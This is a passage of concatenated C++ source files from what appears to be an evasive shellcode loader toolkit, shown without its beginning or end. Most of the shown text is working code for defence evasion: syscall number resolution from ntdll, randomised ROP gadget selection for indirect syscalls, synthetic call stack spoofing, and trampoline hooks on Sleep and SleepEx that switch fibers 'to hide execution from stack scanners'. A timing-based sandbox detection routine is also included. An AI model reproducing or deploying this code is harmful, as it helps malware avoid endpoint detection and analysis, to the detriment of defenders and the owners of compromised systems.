function entries 135 | PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew); 136 | PIMAGE_DATA_DIRECTORY pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; 137 | functionCount = pDataDir->Size / sizeof(RUNTIME_FUNCTION); 138 | 139 | // Calculate the total stack size for the function we are "returning" to 140 | return CalculateStackSizeBackend(pRuntimeFunctionTable, functionCount, ImageBase, (DWORD64)ReturnAddress); 141 | } -------------------------------------------------------------------------------- /syscalls.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // Super reliable way to find the base address of a given module 4 | PBYTE FindModuleBase(const CHAR* moduleName) { 5 | // Retrieve the loader data from the Process Environment Block (PEB) 6 | PPEB_LDR_DATA loaderData = NtCurrentTeb()->ProcessEnvironmentBlock->Ldr; 7 | PLIST_ENTRY moduleListHead = (PLIST_ENTRY)&loaderData->Reserved2[1]; //Reserved2[1] == InLoadOrderModuleList 8 | PLIST_ENTRY currentEntry = moduleListHead->Blink; 9 | 10 | // Iterate through the loaded modules backwards 11 | while (currentEntry != moduleListHead) { 12 | // Get the module entry 13 | PLDR_DATA_TABLE_ENTRY_MODIFIED moduleEntry = CONTAINING_RECORD(currentEntry, LDR_DATA_TABLE_ENTRY_MODIFIED, InLoadOrderLinks); 14 | currentEntry = currentEntry->Blink; 15 | 16 | // Get the base address of the module 17 | PBYTE moduleBase = (PBYTE)moduleEntry->OriginalBase; 18 | 19 | // Access the NT headers of the module 20 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase; 21 | PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew); 22 | 23 | // Check if the module has an export directory 24 | DWORD exportDirectoryRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 25 | if (!exportDirectoryRVA) continue; // No export table? skip 26 | 27 | // Access the export directory 28 | PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + exportDirectoryRVA); 29 | if (!exportDirectory->NumberOfNames) continue; // No symbols? skip 30 | 31 | // Extract the DLL name from the module entry 32 | char dllName[MAX_PATH]; // Buffer to store the DLL name 33 | snprintf(dllName, sizeof(dllName), "%wZ", moduleEntry->BaseDllName); // Extract BaseDllName 34 | 35 | // Compare the decoded name with the current module name 36 | if (strcmp(dllName, moduleName) == 0) return moduleBase; // Found the module, return its base address 37 | } 38 | 39 | // module not found 40 | return nullptr; 41 | } 42 | 43 | // Resolve System Service Number (SSN), Address, and Offset for a System Call Name 44 | SyscallEntry SSNLookup(PCHAR syscall) { 45 | SyscallEntry entry = { 0 }; 46 | 47 | // Load the Export Address Table 48 | PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(hNtdll + ((PIMAGE_DOS_HEADER)hNtdll)->e_lfanew); 49 | DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 50 | if (!exportDirRVA) return { 0 }; // No export table 51 | 52 | PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(hNtdll + exportDirRVA); 53 | 54 | PDWORD pFunctions = (PDWORD)(hNtdll + pExportDir->AddressOfFunctions); 55 | PDWORD pNames = (PDWORD)(hNtdll + pExportDir->AddressOfNames); 56 | PWORD pNameOrdinals = (PWORD)(hNtdll + pExportDir->AddressOfNameOrdinals); 57 | 58 | // Load the Exception Directory 59 | DWORD exceptTableRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress; 60 | if (!exceptTableRVA) return { 0 }; // No exception directory 61 | 62 | PIMAGE_RUNTIME_FUNCTION_ENTRY pRuntimeFuncTable = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(hNtdll + exceptTableRVA); 63 | 64 | INT64 ssn = 0; 65 | PBYTE address = 0; 66 | 67 | // Search export address table 68 | for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { 69 | PCHAR pFunctionName = (PCHAR)(hNtdll + pNames[i]); 70 | 71 | // Search runtime function table 72 | for (INT64 i = 0; pRuntimeFuncTable[i].BeginAddress; i++) { 73 | for (INT64 j = 0; j < pExportDir->NumberOfFunctions; j++) { 74 | if (pFunctions[pNameOrdinals[j]] == pRuntimeFuncTable[i].BeginAddress) { 75 | PCHAR api = (PCHAR)(hNtdll + pNames[j]); 76 | PCHAR s1 = api; 77 | PCHAR s2 = syscall; 78 | 79 | // Compare the syscall names 80 | while (*s1 && (*s1 == *s2)) s1++, s2++; 81 | INT64 cmp = (INT64)*(PBYTE)s1 - *(PBYTE)s2; 82 | if (!cmp) { 83 | address = (hNtdll + pRuntimeFuncTable[i].BeginAddress); 84 | 85 | // Locate `syscall; ret` sequence 86 | for (INT64 offset = 0; offset < 0x100; offset++) {// Scan up to 256 bytes 87 | if (address[offset] == 0x0F && address[offset + 1] == 0x05 && address[offset + 2] == 0xC3) { 88 | 89 | // Populate the SyscallEntry struct 90 | entry.SSN = ssn; 91 | entry.Address = address; 92 | entry.Syscall = (PVOID)(address + offset); 93 | return entry; 94 | } 95 | } 96 | } 97 | // If this is a syscall, increase the SSN value 98 | if (*(USHORT*)api == 'wZ') ssn++; 99 | } 100 | } 101 | } 102 | } 103 | return { 0 }; // Didn't find it 104 | } 105 | 106 | // Collect all instances of a given ROP gadget in a given module 107 | std::vector CollectGadgets(const PBYTE gadget, SIZE_T gadgetSize, PBYTE hModule) { 108 | std::vector gadgets; 109 | if (!hModule || !gadget || gadgetSize == 0) return gadgets; // Validate input 110 | 111 | PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast(hModule); 112 | if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return gadgets; // Validate DOS header 113 | 114 | PIMAGE_NT_HEADERS pNtHeaders = reinterpret_cast(reinterpret_cast(hModule) + pDosHeader->e_lfanew); 115 | if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) return gadgets; // Validate NT headers 116 | 117 | PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); 118 | UINT_PTR moduleBase = reinterpret_cast(hModule); 119 | 120 | // Loop through each section in the module 121 | for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) { 122 | // Check if the section is executable code 123 | if ((pSectionHeader->Characteristics & IMAGE_SCN_CNT_CODE) && 124 | (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { 125 | 126 | PBYTE sectionBase = reinterpret_cast(moduleBase + pSectionHeader->VirtualAddress); 127 | PBYTE sectionEnd = sectionBase + pSectionHeader->Misc.VirtualSize; 128 | 129 | // Search within the section for the gadget pattern 130 | for (PBYTE currentBytes = sectionBase; currentBytes <= sectionEnd - gadgetSize; ++currentBytes) { 131 | if (!memcmp(currentBytes, gadget, gadgetSize)) { 132 | gadgets.emplace_back(EncodePointer(reinterpret_cast(currentBytes))); // Construct each encoded address inside the vector 133 | } 134 | } 135 | } 136 | } 137 | //printf("Found %u gadgets\n", gadgets.size()); 138 | return gadgets; 139 | } 140 | 141 | // Choose a random gadget 142 | PVOID GoGoGadget(std::vector gadgets) { 143 | if (gadgets.empty()) return nullptr; // Return nullptr if the vector is empty 144 | 145 | // Randomly select and decode a gadget address 146 | static std::mt19937 rng(static_cast(std::time(nullptr))); 147 | std::uniform_int_distribution dist(0, gadgets.size() - 1); 148 | return DecodePointer((gadgets)[dist(rng)]); 149 | } 150 | 151 | // Checks the bytes immediately before each gadget 152 | VOID CheckGadgetPreBytes(const std::vector& gadgets, SIZE_T gadgetSize, SIZE_T lookbackSize) { 153 | for (const auto& encodedGadget : gadgets) { 154 | PBYTE gadgetAddress = reinterpret_cast(DecodePointer(encodedGadget)); // Decode the pointer 155 | 156 | // Ensure we can read preceding bytes safely 157 | PBYTE precedingBytes = gadgetAddress - lookbackSize; 158 | if (precedingBytes >= gadgetAddress) { 159 | printf("Skipping address %p (out of range)\n", gadgetAddress); 160 | continue; // Prevent underflow if the address is too low in memory 161 | } 162 | 163 | // Print address and bytes 164 | printf("Address: %p -> ", gadgetAddress); 165 | for (SIZE_T i = 0; i < lookbackSize + gadgetSize + 8; i++) { // Include gadget bytes and 4 bytes ahead of gadget too 166 | printf("%02X ", precedingBytes[i]); 167 | } 168 | printf("\n"); 169 | } 170 | } -------------------------------------------------------------------------------- /sleep.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // Used to store original bytes from Sleep/SleepEx 4 | uint8_t originalSleepBytes[12] = { 0 }; 5 | uint8_t originalSleepExBytes[12] = { 0 }; 6 | 7 | // Create some simple compile-time polymorphism 8 | class compileme { 9 | private: 10 | static constexpr unsigned int fnv1a_hash(const char* str, unsigned int hash = 2166136261U) { return (*str ? fnv1a_hash(str + 1, (hash ^ *str) * 16777619U) : hash); } 11 | static constexpr unsigned int mix_entropy(unsigned int base) { return (base ^ 0x5A5A5A5A) * 2654435761U; } 12 | static constexpr unsigned int compileTimeRNG() { return mix_entropy(fnv1a_hash(__TIME__) ^ fnv1a_hash(__DATE__) ^ fnv1a_hash(__FILE__) ^ fnv1a_hash(__TIMESTAMP__) ^ (__COUNTER__ * 37)); } 13 | const unsigned int randomValue; 14 | 15 | public: 16 | constexpr compileme() : randomValue(compileTimeRNG()) {} // Constructor initializes the random value at compile-time 17 | constexpr unsigned int GetMagicNumber() const { return randomValue; } 18 | }; 19 | 20 | // Generate a random sleep duration between 5-10 sec 21 | constexpr unsigned int GenerateSleepTime() { 22 | constexpr compileme rng; 23 | return (rng.GetMagicNumber() % 5000) + 5000; 24 | } 25 | 26 | // Check if process sleeptime is being fastforwarded 27 | BOOL FiveHourEnergy() { 28 | LARGE_INTEGER frequency, startTime, endTime; 29 | DWORD tickStart, tickEnd; 30 | 31 | constexpr DWORD sleepTimeMs = GenerateSleepTime(); 32 | constexpr double thresholdFactor = 0.7; // Assume some margin for error 33 | 34 | // Capture initial timestamps 35 | QueryPerformanceFrequency(&frequency); 36 | QueryPerformanceCounter(&startTime); 37 | tickStart = GetTickCount64(); 38 | 39 | Sleep(sleepTimeMs); 40 | 41 | // Capture final timestamps 42 | QueryPerformanceCounter(&endTime); 43 | tickEnd = GetTickCount64(); 44 | 45 | // Calculate elapsed time in milliseconds 46 | double elapsedHighResMs = (double)(endTime.QuadPart - startTime.QuadPart) * 1000.0 / frequency.QuadPart; 47 | DWORD elapsedTickMs = tickEnd - tickStart; 48 | 49 | // Check if elapsed time is much shorter than expected. Returns TRUE if time was fastforwarded. 50 | return (elapsedHighResMs < sleepTimeMs * thresholdFactor || elapsedTickMs < sleepTimeMs * thresholdFactor); 51 | } 52 | 53 | // Centralized function for modifying memory protection 54 | VOID ModifyMemoryProtection(LPVOID address, DWORD newProtect, DWORD* oldProtect) { 55 | SIZE_T regionSize = sizeof(LPVOID); 56 | 57 | CHAR ZwPVM[] = "ZwProtectVirtualMemory"; 58 | SyscallEntry NtProtectVirtualMemory = SSNLookup(ZwPVM); 59 | 60 | dwSSN = NtProtectVirtualMemory.SSN; 61 | qwJMP = NtProtectVirtualMemory.Syscall; 62 | gadget = GoGoGadget(callR12gadgets); 63 | 64 | status = (NTSTATUS)CallR12( 65 | (PVOID)CallMe, 66 | 5, 67 | gadget, 68 | NtCurrentProcess(), 69 | &address, 70 | ®ionSize, 71 | newProtect, 72 | oldProtect 73 | ); 74 | 75 | if (!NT_SUCCESS(status)) 76 | printf("NtProtectVirtualMemory 0x%08X\n", status); 77 | } 78 | 79 | // Apply a trampoline hook to a given function 80 | VOID HookFunction(PVOID FunctionToHook, PVOID RedirectionFunction, uint8_t* originalBytes) { 81 | uint8_t trampolineHook[] = { 82 | 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, 83 | 0x41, 0xFF, 0xE2 // jmp r10 84 | }; 85 | uint64_t hookAddress = (uint64_t)RedirectionFunction; 86 | 87 | gadget = GoGoGadget(callR12gadgets); 88 | CallR12( 89 | (PVOID)memcpy, 90 | 3, 91 | gadget, 92 | &trampolineHook[2], 93 | &hookAddress, 94 | sizeof(hookAddress) 95 | ); 96 | 97 | // Store original bytes before modifying the function 98 | gadget = GoGoGadget(callR12gadgets); 99 | CallR12( 100 | (PVOID)memcpy, 101 | 3, 102 | gadget, 103 | (PVOID)originalBytes, 104 | FunctionToHook, 105 | sizeof(trampolineHook) 106 | ); 107 | 108 | DWORD oldProtect = 0; 109 | SIZE_T regionSize = sizeof(trampolineHook); 110 | PVOID baseAddress = FunctionToHook; 111 | 112 | ModifyMemoryProtection(baseAddress, PAGE_READWRITE, &oldProtect); 113 | 114 | gadget = GoGoGadget(callR12gadgets); 115 | CallR12( 116 | (PVOID)memcpy, 117 | 3, 118 | gadget, 119 | FunctionToHook, 120 | trampolineHook, 121 | sizeof(trampolineHook) 122 | ); 123 | 124 | ModifyMemoryProtection(baseAddress, oldProtect, &oldProtect); 125 | 126 | return; 127 | } 128 | 129 | // Restore original bytes to (unhook) function 130 | VOID RestoreOriginalBytes(PVOID FunctionToHook, uint8_t* originalBytes, SIZE_T size) { 131 | DWORD oldProtect; 132 | 133 | ModifyMemoryProtection(FunctionToHook, PAGE_READWRITE, &oldProtect); 134 | 135 | gadget = GoGoGadget(callR12gadgets); 136 | CallR12( 137 | (PVOID)memcpy, 138 | 3, 139 | gadget, 140 | FunctionToHook, 141 | originalBytes, 142 | size 143 | ); 144 | 145 | ModifyMemoryProtection(FunctionToHook, oldProtect, &oldProtect); 146 | 147 | return; 148 | } 149 | 150 | // Sleeping without calling Sleep() 151 | VOID ImNotSleepingIPromise(DWORD dwMilliseconds) { 152 | // Set up call stack spoof 153 | PVOID ReturnAddress = NULL; 154 | PRM p = { 0 }; 155 | 156 | BYTE sig[] = { 0xFF, 0x23 }; // jmp qword ptr [rbx] 157 | std::vector gadgets = CollectGadgets(sig, 3, (PBYTE)hNtdll); 158 | 159 | gadget = GoGoGadget(gadgets); 160 | p.trampoline = gadget; 161 | p.Gadget_ss = (PVOID)(ULONGLONG)CalculateStackSize(p.trampoline); 162 | 163 | // windows 11 seems to have different offset values 164 | //ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hKernel32, "BaseThreadInitThunk") + 0x14; 165 | ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hKernel32, "BaseThreadInitThunk") + 0x17; 166 | p.BTIT_ss = (PVOID)(ULONGLONG)CalculateStackSize(ReturnAddress); 167 | p.BTIT_retaddr = ReturnAddress; 168 | 169 | //ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hNtdll, "RtlUserThreadStart") + 0x21; 170 | ReturnAddress = (PBYTE)GetProcAddress((HMODULE)hNtdll, "RtlUserThreadStart") + 0x2c; 171 | p.RUTS_ss = (PVOID)(ULONGLONG)CalculateStackSize(ReturnAddress); 172 | p.RUTS_retaddr = ReturnAddress; 173 | 174 | LARGE_INTEGER DelayInterval = { 0 }; 175 | LONGLONG Delay = NULL; 176 | HANDLE hEvent = NULL; 177 | 178 | dwSSN = NtCreateEvent.SSN; 179 | qwJMP = NtCreateEvent.Syscall; 180 | gadget = GoGoGadget(callR12gadgets); 181 | 182 | status = (NTSTATUS)CallR12( 183 | (PVOID)CallMe, 184 | 5, 185 | gadget, 186 | &hEvent, 187 | EVENT_ALL_ACCESS, 188 | NULL, 189 | 0, 190 | FALSE 191 | ); 192 | 193 | Delay = dwMilliseconds * 10000; 194 | DelayInterval.QuadPart = -Delay; 195 | 196 | p.ssn = (PVOID)(ULONGLONG)sysNtWaitForSingleObject.SSN; 197 | Spoof((PVOID)hEvent, (PVOID)(ULONGLONG)FALSE, (PVOID)&DelayInterval, NULL, &p, sysNtWaitForSingleObject.Syscall, (PVOID)(ULONGLONG)0); 198 | 199 | return; 200 | } 201 | 202 | // Hooked Sleep function 203 | VOID WINAPI hookedSleep(DWORD dwMilliseconds, ...) { 204 | 205 | // Restore original function bytes before execution 206 | RestoreOriginalBytes((PVOID)Sleep, originalSleepBytes, sizeof(originalSleepBytes)); 207 | 208 | // Switch to main fiber to hide execution from stack scanners 209 | gadget = GoGoGadget(callR12gadgets); 210 | CallR12((PVOID)SwitchToFiber, 1, gadget, mainFiber); 211 | 212 | // Call custom sleep function 213 | ImNotSleepingIPromise(dwMilliseconds); 214 | 215 | // Reapply the hook after execution 216 | HookFunction((PVOID)Sleep, (PVOID)hookedSleep, originalSleepBytes); 217 | } 218 | 219 | // Hooked SleepEx function 220 | DWORD WINAPI hookedSleepEx(DWORD dwMilliseconds, BOOL bAlertable, ...) { 221 | 222 | // Restore original function bytes before execution 223 | RestoreOriginalBytes((PVOID)SleepEx, originalSleepExBytes, sizeof(originalSleepExBytes)); 224 | 225 | // Switch to main fiber to hide execution from stack scanners 226 | gadget = GoGoGadget(callR12gadgets); 227 | CallR12((PVOID)SwitchToFiber, 1, gadget, mainFiber); 228 | 229 | ImNotSleepingIPromise(dwMilliseconds); 230 | 231 | // Reapply the hook after execution 232 | HookFunction((PVOID)SleepEx, (PVOID)hookedSleepEx, originalSleepExBytes); 233 | 234 | return 0; 235 | } 236 | 237 | // Hook Sleep and SleepEx 238 | VOID ReSleep() { 239 | HookFunction((PVOID)Sleep, (PVOID)hookedSleep, originalSleepBytes); 240 | HookFunction((PVOID)SleepEx, (PVOID)hookedSleepEx, originalSleepExBytes); 241 | } -------------------------------------------------------------------------------- /headers/enums.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef ENUMS_H 4 | #define ENUMS_H 5 | 6 | typedef enum _UNWIND_OP_CODES { 7 | UWOP_PUSH_NONVOL = 0, /* info == register number */ 8 | UWOP_ALLOC_LARGE, /* no info, alloc size in next 2 slots */ 9 | UWOP_ALLOC_SMALL, /* info == size of allocation / 8 - 1 */ 10 | UWOP_SET_FPREG, /* no info, FP = RSP + UNWIND_INFO.FPRegOffset*16 */ 11 | UWOP_SAVE_NONVOL, /* info == register number, offset in next slot */ 12 | UWOP_SAVE_NONVOL_FAR, /* info == register number, offset in next 2 slots */ 13 | UWOP_SAVE_XMM128 = 8, /* info == XMM reg number, offset in next slot */ 14 | UWOP_SAVE_XMM128_FAR, /* info == XMM reg number, offset in next 2 slots */ 15 | UWOP_PUSH_MACHFRAME /* info == 0: no error-code, 1: error-code */ 16 | } UNWIND_CODE_OPS; 17 | 18 | typedef enum _FILE_INFO_CLASS 19 | { 20 | //FileDirectoryInformation, // q: FILE_DIRECTORY_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 21 | FileFullDirectoryInformation = 2, // q: FILE_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 22 | FileBothDirectoryInformation, // q: FILE_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 23 | FileBasicInformation, // q; s: FILE_BASIC_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 24 | FileStandardInformation, // q: FILE_STANDARD_INFORMATION, FILE_STANDARD_INFORMATION_EX 25 | FileInternalInformation, // q: FILE_INTERNAL_INFORMATION 26 | FileEaInformation, // q: FILE_EA_INFORMATION 27 | FileAccessInformation, // q: FILE_ACCESS_INFORMATION 28 | FileNameInformation, // q: FILE_NAME_INFORMATION 29 | FileRenameInformation, // s: FILE_RENAME_INFORMATION (requires DELETE) // 10 30 | FileLinkInformation, // s: FILE_LINK_INFORMATION 31 | FileNamesInformation, // q: FILE_NAMES_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 32 | FileDispositionInformation, // s: FILE_DISPOSITION_INFORMATION (requires DELETE) 33 | FilePositionInformation, // q; s: FILE_POSITION_INFORMATION 34 | FileFullEaInformation, // FILE_FULL_EA_INFORMATION 35 | FileModeInformation, // q; s: FILE_MODE_INFORMATION 36 | FileAlignmentInformation, // q: FILE_ALIGNMENT_INFORMATION 37 | FileAllInformation, // q: FILE_ALL_INFORMATION (requires FILE_READ_ATTRIBUTES) 38 | FileAllocationInformation, // s: FILE_ALLOCATION_INFORMATION (requires FILE_WRITE_DATA) 39 | FileEndOfFileInformation, // s: FILE_END_OF_FILE_INFORMATION (requires FILE_WRITE_DATA) // 20 40 | FileAlternateNameInformation, // q: FILE_NAME_INFORMATION 41 | FileStreamInformation, // q: FILE_STREAM_INFORMATION 42 | FilePipeInformation, // q; s: FILE_PIPE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 43 | FilePipeLocalInformation, // q: FILE_PIPE_LOCAL_INFORMATION (requires FILE_READ_ATTRIBUTES) 44 | FilePipeRemoteInformation, // q; s: FILE_PIPE_REMOTE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 45 | FileMailslotQueryInformation, // q: FILE_MAILSLOT_QUERY_INFORMATION 46 | FileMailslotSetInformation, // s: FILE_MAILSLOT_SET_INFORMATION 47 | FileCompressionInformation, // q: FILE_COMPRESSION_INFORMATION 48 | FileObjectIdInformation, // q: FILE_OBJECTID_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 49 | FileCompletionInformation, // s: FILE_COMPLETION_INFORMATION // 30 50 | FileMoveClusterInformation, // s: FILE_MOVE_CLUSTER_INFORMATION (requires FILE_WRITE_DATA) 51 | FileQuotaInformation, // q: FILE_QUOTA_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 52 | FileReparsePointInformation, // q: FILE_REPARSE_POINT_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 53 | FileNetworkOpenInformation, // q: FILE_NETWORK_OPEN_INFORMATION (requires FILE_READ_ATTRIBUTES) 54 | FileAttributeTagInformation, // q: FILE_ATTRIBUTE_TAG_INFORMATION (requires FILE_READ_ATTRIBUTES) 55 | FileTrackingInformation, // s: FILE_TRACKING_INFORMATION (requires FILE_WRITE_DATA) 56 | FileIdBothDirectoryInformation, // q: FILE_ID_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 57 | FileIdFullDirectoryInformation, // q: FILE_ID_FULL_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) 58 | FileValidDataLengthInformation, // s: FILE_VALID_DATA_LENGTH_INFORMATION (requires FILE_WRITE_DATA and/or SeManageVolumePrivilege) 59 | FileShortNameInformation, // s: FILE_NAME_INFORMATION (requires DELETE) // 40 60 | FileIoCompletionNotificationInformation, // q; s: FILE_IO_COMPLETION_NOTIFICATION_INFORMATION (q: requires FILE_READ_ATTRIBUTES) // since VISTA 61 | FileIoStatusBlockRangeInformation, // s: FILE_IOSTATUSBLOCK_RANGE_INFORMATION (requires SeLockMemoryPrivilege) 62 | FileIoPriorityHintInformation, // q; s: FILE_IO_PRIORITY_HINT_INFORMATION, FILE_IO_PRIORITY_HINT_INFORMATION_EX (q: requires FILE_READ_DATA) 63 | FileSfioReserveInformation, // q; s: FILE_SFIO_RESERVE_INFORMATION (q: requires FILE_READ_DATA) 64 | FileSfioVolumeInformation, // q: FILE_SFIO_VOLUME_INFORMATION (requires FILE_READ_ATTRIBUTES) 65 | FileHardLinkInformation, // q: FILE_LINKS_INFORMATION 66 | FileProcessIdsUsingFileInformation, // q: FILE_PROCESS_IDS_USING_FILE_INFORMATION (requires FILE_READ_ATTRIBUTES) 67 | FileNormalizedNameInformation, // q: FILE_NAME_INFORMATION 68 | FileNetworkPhysicalNameInformation, // q: FILE_NETWORK_PHYSICAL_NAME_INFORMATION 69 | FileIdGlobalTxDirectoryInformation, // q: FILE_ID_GLOBAL_TX_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since WIN7 // 50 70 | FileIsRemoteDeviceInformation, // q: FILE_IS_REMOTE_DEVICE_INFORMATION (requires FILE_READ_ATTRIBUTES) 71 | FileUnusedInformation, 72 | FileNumaNodeInformation, // q: FILE_NUMA_NODE_INFORMATION 73 | FileStandardLinkInformation, // q: FILE_STANDARD_LINK_INFORMATION 74 | FileRemoteProtocolInformation, // q: FILE_REMOTE_PROTOCOL_INFORMATION 75 | FileRenameInformationBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION // since WIN8 76 | FileLinkInformationBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION 77 | FileVolumeNameInformation, // q: FILE_VOLUME_NAME_INFORMATION 78 | FileIdInformation, // q: FILE_ID_INFORMATION 79 | FileIdExtdDirectoryInformation, // q: FILE_ID_EXTD_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // 60 80 | FileReplaceCompletionInformation, // s: FILE_COMPLETION_INFORMATION // since WINBLUE 81 | FileHardLinkFullIdInformation, // q: FILE_LINK_ENTRY_FULL_ID_INFORMATION // FILE_LINKS_FULL_ID_INFORMATION 82 | FileIdExtdBothDirectoryInformation, // q: FILE_ID_EXTD_BOTH_DIR_INFORMATION (requires FILE_LIST_DIRECTORY) (NtQueryDirectoryFile[Ex]) // since THRESHOLD 83 | FileDispositionInformationEx, // s: FILE_DISPOSITION_INFO_EX (requires DELETE) // since REDSTONE 84 | FileRenameInformationEx, // s: FILE_RENAME_INFORMATION_EX 85 | FileRenameInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_RENAME_INFORMATION_EX 86 | FileDesiredStorageClassInformation, // q; s: FILE_DESIRED_STORAGE_CLASS_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since REDSTONE2 87 | FileStatInformation, // q: FILE_STAT_INFORMATION (requires FILE_READ_ATTRIBUTES) 88 | FileMemoryPartitionInformation, // s: FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3 89 | FileStatLxInformation, // q: FILE_STAT_LX_INFORMATION (requires FILE_READ_ATTRIBUTES and FILE_READ_EA) // since REDSTONE4 // 70 90 | FileCaseSensitiveInformation, // q; s: FILE_CASE_SENSITIVE_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 91 | FileLinkInformationEx, // s: FILE_LINK_INFORMATION_EX // since REDSTONE5 92 | FileLinkInformationExBypassAccessCheck, // (kernel-mode only); s: FILE_LINK_INFORMATION_EX 93 | FileStorageReserveIdInformation, // q; s: FILE_STORAGE_RESERVE_ID_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) 94 | FileCaseSensitiveInformationForceAccessCheck, // q; s: FILE_CASE_SENSITIVE_INFORMATION 95 | FileKnownFolderInformation, // q; s: FILE_KNOWN_FOLDER_INFORMATION (q: requires FILE_READ_ATTRIBUTES; s: requires FILE_WRITE_ATTRIBUTES) // since WIN11 96 | FileStatBasicInformation, // since 23H2 97 | FileId64ExtdDirectoryInformation, // FILE_ID_64_EXTD_DIR_INFORMATION 98 | FileId64ExtdBothDirectoryInformation, // FILE_ID_64_EXTD_BOTH_DIR_INFORMATION 99 | FileIdAllExtdDirectoryInformation, // FILE_ID_ALL_EXTD_DIR_INFORMATION 100 | FileIdAllExtdBothDirectoryInformation, // FILE_ID_ALL_EXTD_BOTH_DIR_INFORMATION 101 | FileStreamReservationInformation, // FILE_STREAM_RESERVATION_INFORMATION // since 24H2 102 | FileMupProviderInfo, // MUP_PROVIDER_INFORMATION 103 | FileMaximumInformation 104 | } FILE_INFO_CLASS, * PFILE_INFO_CLASS; 105 | 106 | 107 | typedef enum _NT_PRODUCT_TYPE { 108 | NtProductWinNt = 1, 109 | NtProductLanManNt, 110 | NtProductServer 111 | } NT_PRODUCT_TYPE, 112 | * PNT_PRODUCT_TYPE; 113 | 114 | typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE { 115 | StandardDesign, 116 | NEC98x86, 117 | EndAlternatives 118 | } ALTERNATIVE_ARCHITECTURE_TYPE; 119 | 120 | 121 | #endif -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Credits 3 | * 4 | * MDSec - Resolving System Service Numbers using the Exception Directory 5 | * https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/ 6 | * 7 | * cpu0x00 - Ghost: Evasive shellcode loader 8 | * https://github.com/cpu0x00/Ghost 9 | * 10 | * susMdT - LoudSunRun: Stack Spoofing with Synthetic frames based on the work of namazso, SilentMoonWalk, and VulcanRaven 11 | * https://github.com/susMdT/LoudSunRun 12 | * 13 | * HulkOperator - x64 Call Stack Spoofing 14 | * https://hulkops.gitbook.io/blog/red-team/x64-call-stack-spoofing 15 | * https://github.com/HulkOperator/CallStackSpoofer 16 | * 17 | * Jan Vojtesek - Raspberry Robin's Roshtyak: A Little Lesson in Trickery 18 | * https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/ 19 | * 20 | * dadevel - Detecting Sandboxes Without Syscalls 21 | * https://pentest.party/posts/2024/detecting-sandboxes-without-syscalls/ 22 | */ 23 | 24 | #include 25 | 26 | EXTERN_C DWORD dwSSN = 0; 27 | EXTERN_C PVOID qwJMP = 0; 28 | EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...); 29 | 